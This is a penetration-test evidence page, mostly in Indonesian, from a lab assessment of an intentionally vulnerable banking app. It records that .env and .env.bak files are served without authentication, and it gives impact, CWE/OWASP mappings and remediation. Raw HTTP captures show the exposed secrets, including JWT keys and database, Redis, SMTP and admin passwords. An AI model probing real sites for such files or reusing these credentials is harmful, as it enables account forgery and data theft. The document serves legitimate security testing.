Skenario 14 / 26FAIL
Sensitive Data Exposure - Web Root - Environment Files
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] Sensitive Data Exposure - Web Root - Environment Files
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] Sensitive Data Exposure - Web Root - Environment Files
Deskripsi
Berkas konfigurasi lingkungan .env dan salinan cadangannya .env.bak disajikan langsung dari web root tanpa autentikasi. Berkas ini memuat kunci rahasia aplikasi, secret JWT, dan kredensial database.
Dampak
Confidentiality (High): penyerang tanpa autentikasi memperoleh SECRET_KEY aplikasi, JWT_SECRET, serta host, nama, pengguna, dan password database. Dengan JWT_SECRET, token sesi apa pun dapat ditempa dengan tanda tangan yang sah, termasuk token administrator. Kredensial database memungkinkan akses langsung ke penyimpanan data bila jaringan database terjangkau.
CWE
CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory
OWASP
A05:2021 - Security Misconfiguration
Skenario
Eksploitasi: permintaan GET biasa ke /.env tanpa autentikasi -> HTTP 200 dengan isi berkas konfigurasi. Berkas cadangan /.env.bak juga tersaji, sehingga konfigurasi lama termasuk kredensial yang mungkin masih berlaku ikut terekspos.
Endpoint
GET http://127.0.0.1:5001/.env
GET http://127.0.0.1:5001/.env.bak
Fitur terdampak
Penyajian berkas statis dari web root
Rekomendasi perbaikan
- Jangan menempatkan berkas konfigurasi di dalam web root, dan jangan membuat rute yang menyajikannya.
- Blokir akses ke berkas berawalan titik dan berekstensi cadangan pada reverse proxy.
- Pindahkan rahasia ke secret manager atau variabel lingkungan yang tidak berupa berkas yang dapat disajikan.
- Rotasi SECRET_KEY, JWT_SECRET, dan kredensial database yang telah terekspos.
Bukti konsep
1) (Screenshot 1) EKSPLOITASI: GET /.env tanpa autentikasi -> HTTP 200, SECRET_KEY, JWT_SECRET, dan kredensial database terekspos.
2) (Screenshot 2) DAMPAK CIA: GET /.env.bak -> HTTP 200, salinan cadangan konfigurasi juga dapat diunduh publik.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Sensitive Data Exposure - Web Root - Environment Files
Description:
Berkas konfigurasi lingkungan .env dan salinan cadangannya .env.bak disajikan langsung dari web root tanpa autentikasi. Berkas ini memuat kunci rahasia aplikasi, secret JWT, dan kredensial database.
Impact:
Confidentiality (High): penyerang tanpa autentikasi memperoleh SECRET_KEY aplikasi, JWT_SECRET, serta host, nama, pengguna, dan password database. Dengan JWT_SECRET, token sesi apa pun dapat ditempa dengan tanda tangan yang sah, termasuk token administrator. Kredensial database memungkinkan akses langsung ke penyimpanan data bila jaringan database terjangkau.
CWE:
CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory
OWASP:
A05:2021 - Security Misconfiguration
Scenario:
Eksploitasi: permintaan GET biasa ke /.env tanpa autentikasi -> HTTP 200 dengan isi berkas konfigurasi. Berkas cadangan /.env.bak juga tersaji, sehingga konfigurasi lama termasuk kredensial yang mungkin masih berlaku ikut terekspos.
Endpoint:
GET http://127.0.0.1:5001/.env
GET http://127.0.0.1:5001/.env.bak
Affected Feature:
Penyajian berkas statis dari web root
Remediation:
- Jangan menempatkan berkas konfigurasi di dalam web root, dan jangan membuat rute yang menyajikannya.
- Blokir akses ke berkas berawalan titik dan berekstensi cadangan pada reverse proxy.
- Pindahkan rahasia ke secret manager atau variabel lingkungan yang tidak berupa berkas yang dapat disajikan.
- Rotasi SECRET_KEY, JWT_SECRET, dan kredensial database yang telah terekspos.
POC:
1) (Screenshot 1) EKSPLOITASI: GET /.env tanpa autentikasi -> HTTP 200, SECRET_KEY, JWT_SECRET, dan kredensial database terekspos.
2) (Screenshot 2) DAMPAK CIA: GET /.env.bak -> HTTP 200, salinan cadangan konfigurasi juga dapat diunduh publik.
02 — Tangkapan layar
Tangkapan layar (2)
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
GET /.env HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 571
Content-Disposition: inline; filename=".env"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:21 GMT
APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=8f6d3e9027474fd8b516ac09e319e2ef
JWT_SECRET=00af85a8f47d41f7bfb9ce45ad1130aa
DB_HOST=vulnbank-db.internal
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_prod
DB_PASSWORD=VbProd_2026_DbAccess!
DATABASE_URL=postgresql://vulnbank_prod:VbProd_2026_DbAccess!@vulnbank-db.internal:5432/vulnerable_bank
REDIS_URL=redis://:VbRedis_2026!@vulnbank-cache.internal:6379/0
DEEPSEEK_API_KEY=ds_live_7f3b9d82c1264ea0a8c77f90
SMTP_HOST=mail.vulnbank.internal
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=MailRelay_2026!
REKAMAN 02 / 2
GET /.env.bak HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 494
Content-Disposition: inline; filename=".env.bak"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:22 GMT
APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=5c78f362be4b4ad8bc395325aa46fe71
JWT_SECRET=9b66150da3e54310923fde26a558ec87
DB_HOST=10.20.30.40
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_admin
DB_PASSWORD=VulnBankAdmin_2025!
DATABASE_URL=postgresql://vulnbank_admin:VulnBankAdmin_2025!@10.20.30.40:5432/vulnerable_bank
ADMIN_USERNAME=ops_admin
ADMIN_PASSWORD=VbOperations_2025!
SMTP_HOST=10.20.30.25
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=LegacyMail_2025!